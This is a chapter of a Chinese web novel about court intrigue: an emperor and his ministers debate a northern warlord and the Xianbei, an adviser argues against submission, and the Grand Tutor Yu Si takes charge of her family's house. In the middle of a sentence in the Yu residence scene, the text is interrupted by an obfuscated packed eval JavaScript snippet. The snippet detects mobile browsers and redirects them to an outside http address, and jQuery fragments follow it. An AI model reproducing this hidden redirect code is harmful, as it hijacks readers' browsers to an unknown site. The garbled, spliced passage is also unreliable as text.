自魏朝末年,鲜卑人已经开始渐渐往南迁移。
相比北边草原上的苦寒,自然是富饶的中原更叫人向往。
彼时魏帝贪图享乐,对边关种种并不太放在心上,天下大乱时候,鲜卑人也曾谋划着入主中原逐鹿一番,奈何北地先有虞彻回到平城坐镇,又有如祁应等诸侯角逐,鲜卑人在其中竟是无法立足,不得不悻悻退回草原上蛰伏。
尽管选择了蛰伏,但狼子野心却并未从此熄灭。
如今平城局势便可窥见鲜卑部族所图之一斑。
萧烈看过虞思的奏疏,随手递给了一旁的丞相何懋。
“如此看来,鲜卑才是真正的心腹大患了。”萧烈若有所思,“那祁应……”他顿了顿,看向了一旁的大将军楼铭,“大将军从前跟随父皇征战,祁应此人从前是怎样的?野心勃勃?”
大将军楼铭回忆了片刻,方道:“他性子比较绵软,犹豫的时候多。否则以他当时兵力……先帝恐怕没有那么容易降服。”
“太傅的建议倒是极好。”何懋看过了奏疏,双手还给了萧烈,又接上了大将军楼铭的话,“祁氏犹犹豫豫,对朝廷倒是一件好事。如太傅所说,便叫他到京城来,晓之以理动之以情。”
“说来虽好,但朝中却并没有与祁氏感情颇深的人了。”大将军楼铭摇头,“当初他就是和刘尝关系好,故而刘尝死后,他才突然有了谋逆的行为。若非如此,鲜卑人再如何在其中撺掇,他那犹犹豫豫的性子,恐怕都难做决断。”
萧烈沉吟片刻,他道:“总归要试一试的,若是能叫祁氏回朝,由朝廷派人去代地,便更好应对鲜卑了。”顿了顿,他便亲自摊开笔墨给虞思写了旨意,叫她能全权打理代地之事。
“若是那祁氏不愿意回朝呢?”大将军楼铭问。
“那就出兵。”萧烈淡淡道,“朕也正好发愁先拿谁来动刀。”
这话说得平淡,却叫何懋与楼铭背后发凉。
萧慎走得太过于突然,他留给萧烈的江山并不算稳固,暗潮涌动之下,祁氏跳出来事实上并不算太让人意外,还有许多人在暗地里看着思忖着,这是否只是短暂的一统?萧烈能不能坐稳这万里江山?
萧烈命人把旨意送去给虞思。
他突然觉得何懋那时建议请虞氏中人为帝师是极好的主意了,若非有虞思在,恐怕和祁应之间便只剩下了硬战这唯一的道路,而不会有现在这个缓和的机会。
所以——他想到虞思那时回去平城是为了私事,她的私事是为了什么呢?
他有些想知道,但也明白若是虞思自己不说,大约旁人都是不会有答案的。
可他是皇帝,是不是不能算作旁人?
萧烈心不在焉地想着这些事情,他眼前浮现了虞思头戴朝冠时候的样子,她相貌秾丽,那时站在朝臣的最前列,却并没有半分怯懦不安,相反是威仪赫赫,傲然矜贵。
她的双眼总是平静淡漠,这世上大约没有什么能打动她,又或者说无论是朝廷还是帝京,都没有足够能叫她动容的物事。
所以她敢只身一人到帝京,还敢在这样时节重新回去那显然的危险之地。
萧烈忽地感觉到一股难言的悸动从心底烧起。
他想起正旦那日他在玉阶上往下看的时候,她半垂着的长长的羽睫。
.
平城王宫中,祁应与心腹臣子殿中对坐。
“鲜卑贺氏派人与虞氏那位太傅送了信,信中写了什么并不得而知。从前虞公尚在时候,贺氏与虞公常有往来。”容晴——祁应最信任的臣子如此说道,“如若不是贺氏内乱,或者元氏都无法成为鲜卑第一的部族。”
祁应慢慢摩挲着手边的茶盏,他心中犹豫。
“虞氏那位太傅虽然是女人,但比虞衡强了百倍不止。”容晴继续说道,“先劝陛下归附天齐,陛下归附了天齐,那么平城便重新回到虞氏的掌控之中;再与鲜卑贺氏联系,助贺氏与元氏相争,从而鲜卑内部难安,北地无主。这位太傅图谋可不小。”
这话听得祁应脸色微变:“你是说虞氏也想称王?”
容晴摸着胡子笑了一笑,反问道:“为何虞氏不能称王呢?虞公不称王,是因为虞公念旧,心系魏朝,他心中仍是这江山仍是魏朝天下,魏朝覆灭,齐朝新立,他也未曾称臣。虞衡不称王,是因为虞衡无能,他有心而无力。这位太傅……陛下认为,这位太傅有如此手段,她为何不能称王?她甚至可以在陛下归附之后独占北地,以鲜卑有威胁为借口,逼迫朝廷不得不封她为王。”
祁应忽地沉默了下去,他没说话了。
而容晴继续说道:“元氏实实在在是与陛下有过盟约,到时候这位太傅会夸大鲜卑的强大铁骑,会把鲜卑描述得好像顷刻之间能席卷中原一般,要求朝廷划拨粮草兵力来阻挡鲜卑南下。鲜卑越强,则阻拦着鲜卑南下的虞氏便越重要,虞氏便也会越强大。那些在齐朝得不到重用的虞氏故旧会源源不断往北地来,他们会希望重新在虞氏手中获得一份前途。”他顿了顿,看向了祁应,“陛下,到那时候,她便就是新的皇帝。”
“此言也太过于危言耸听,帝京难道容得下她如此?”祁应微微皱眉。
“帝京不过只是昏庸,他们叫一个女人做了太傅。”容晴呵呵捋了捋胡须,“就连陛下也会成为这位太傅的垫脚石。”
这话叫祁应脸色黑了下去。
“陛下身后有鲜卑元氏,便能和萧氏分庭抗礼,何必去低头?”容晴看着祁应,“若真的低头,可就是给他人做嫁衣啊!”
祁应静默片刻,面露犹豫。
容晴再接再厉又道:“若是虞衡那样的人,我便不劝陛下这许多,那位女子可非常人,陛下请三思。”
祁应看了容晴一眼,长长叹了口气,道:“我还得想一想。”
容晴着意看着祁应神色,他缓缓又道:“若陛下犹豫,还请先叫那太傅离开平城,无论如何,陛下将来选择如何,她在平城变数着实太大,对陛下也太多威胁。”
“她现在何处?”祁应转而看向了外面,唤了人进来问询。
听闻虞思带着人回去了虞府,祁应面上再次露出踟蹰犹豫,他站起来,向左右道:“摆驾虞府。”
容晴眉头一皱,想说什么还没开口,便见祁应又已经出去了。
.
虞府中,虞衡已经带着乔氏离开数日,虞思回来便只看到府中惊慌失措的下人还有虞衡房中哭哭啼啼的妾室子女。
虞衡离开得匆忙,如今在府中主事的乃是虞惠——卫氏与虞衡的独子。
他比虞思还长了两岁,这会见到虞思,他的脸上神情僵硬,嗫嚅许久没说出话,最后只潦草地见了礼。
虞思与这位堂兄的关系并不算亲切,从前不亲切还能有点头之交,现在乔氏与虞衡的关系暴露,卫氏又被虞衡送到别院,她倒是很能理解
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196204|157303||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虞惠在她面前的尴尬。
“你母亲在宗祠,我命人送你过去,你从此伺候你母亲,好好念书吧!”虞思便如此对虞惠说道,“你舅舅已经到了桑乾郡,晚些时候我就会叫人送你与你母亲一并去见你舅舅。”顿了顿,她又多看了他一眼,接着道,“若你要为你父亲鸣不平,劝你不要开口,我已经将他从虞氏除名,今后他再不算虞氏中人。”
这话一下子将虞惠想要说的话都堵了回去,他过了许久才缓缓道:“府中还有些弟妹……是被他抛下的……”
“我会叫人问询他们想要去何处。”虞思安静地看着虞惠,“他们想留在虞氏,族里便会好好安置,叫他们平安长大。”
虞惠一时间不知还能说什么,只能低头道:“便听从太傅安排。”
“长辈的事情按理说不应波及晚辈。”虞思说道,“只是我知道你必定介怀于心,故而我劝你只朝你母亲看,若你心心念念只想着你父,我只好劝婶婶也想开些,不如再嫁再生,总能有个孝顺儿子。”
听着这话,虞惠猛地抬头看向了虞思,他面上露出羞愤神色来,他吼道:“分明是你母亲造成了这一切,为何只说我父亲——”话说到一半,他猛地停下,又没了声音。
虞思看着他,淡漠道:“我只陈述事实,不会与你辩论,你大可以出去说你父亲无辜,我不会拦着你。”
“你……”虞惠明白了虞思话中的含义,他看着她,仿佛从未认识她一样凝望着,“你只是个女人,你凭什么这么做——你没有资格这么做!”
“凭我现在是事实上的家主,我是位列三公的太傅,而你不过只是宗族中一个不中用的男丁。”虞思笑了一声,“你大可以脱离虞氏自己做出一番成就,那样便不必听我说难听的话,也不必在我面前低头。或者你还想问,为什么我是家主?”顿了顿,她没有等虞惠回答便继续说了下去,“因为你父无能,叫我这个女人手持宝印,把部曲都捏在了手心里。”
虞惠脸上露出灰败神色,他后退了一步。
虞思摆了摆手只叫人送他去见卫氏,又命董梁去安置虞衡丢下的那些妾室和子女以及下人们。
府中有人主持,便不再那样忙乱。
虞思先回去萱草园看过乔氏的房间,只见里面已经搬得干净,便又寻去了正院。
正院里面乔氏的那些东西倒是都还在,绫罗绸缎,锦绣衣衫,各色名贵摆件,都似旧时那样摆放着,只有一些金银细软没了踪影,大约是被随身带走。
她看到摆放在几案上没有喝完的一碗汤药,还有随便丢在旁边的药膏。
拿起药膏看了看,又闻了闻,应当是活血化瘀用的——她想起那时候乔氏被虞衡掐着脖子要挟的狰狞样子。
她便就在一旁随便坐下了,招来人问道:“虞衡去了哪里?”
来人战战兢兢道:“说是去元氏那边……”
虞思点了点头,便又叫了青豫进来:“带人去元氏,见一见我母亲,问她还想不想回来。”
青豫先应下,然后道:“程龄的妹妹跟着夫人,我能不能带着程龄一起去?”
“他若想去,便让他跟着。”虞思把药膏放在了那碗没喝完的汤药旁边,然后看向了青豫,“你看着办吧!”
这时,董梁从外面进来,他道:“太傅,大帝在府外了。”
“便请他进来。”虞思示意青豫先去办事,然后站起身,“请他去正厅。”